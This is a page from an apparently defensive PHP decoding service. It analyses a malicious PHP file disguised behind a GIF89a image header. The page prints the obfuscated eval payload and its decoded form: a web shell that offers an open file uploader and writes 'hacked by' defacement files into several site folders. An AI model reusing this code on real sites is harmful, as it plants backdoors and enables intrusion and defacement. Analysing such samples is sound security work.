Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89aG <?php eval (gzinflate(base64_decode(str_rot13("eISYn9gNRQ43xC8jKtjeDJY30xggzI6FHv..
Decoded Output download
if ( isset($_GET['up']) )
{
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload ok :d !!!</b><br><br>'; }
else { echo '<b>Upload Fail !!!</b><br><br>'; }
}
exit;
}
if ( isset($_GET['ghz']) )
{
chdir('..'); chdir('..'); $path = getcwd();
$xxx = strrev('zd-tsohg yb dekcah');
$fff = fopen($path.'/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/tmp/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/logs/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/images/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
$fff = fopen($path.'/cache/gh.txt', 'w'); fwrite($fff, $xxx); fclose($fff);
exit;
}
Did this file decode correctly?
Original Code
GIF89aG
<?php eval (gzinflate(base64_decode(str_rot13("eISYn9gNRQ43xC8jKtjeDJY30xggzI6FHvtxxCMxwSagD1bvnEsgXWMq+g87X9yWUm4ItjFmZ99wUgMNNwLRwpy0+/ah25c3az9FF
X+isyksnIx64Riw2udREBhnwQTbAMMBMpl7tNk0V3UiqpodexYeELimvY9INtJQEgEH6amyuAVgN6g+r6344gKQAe5QTWJZesFWBfoOUvw+8W6gwfPkhPHcqvFSYd8gwt5w/xIHUEJ+Q3oRUCbnCX
1WLYc9sUvvrFBJolQY4VFRSTw2qjG6WW3s02Yhi3l9r1em2NiseQaJsufo4Wfo+Xp4SyYFtBAb+JbHOipZUkIZWcCyCS8g83o4+DW+xchhtw5QhEr2Bf+tG/pJS0ZHE/e7xRI5rYhxYWIgRm6o8KD
OsmlzKzNWTEDn5H4yXDyB+76aGZP21F8WC6uoQX4fLW+Q0f9FyWSUZTZZjLmmhxxTzEzsS+HZr+D3jUpEMKngEM1RXB2XqTABIv6ZhpUgaNlg+SWFyFiPcoEfYDc9ZGHcMXa/D+k0918=")))); ?>
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | 3356fd05696fcbc5278e28448109178b |
Eval Count | 1 |
Decode Time | 82 ms |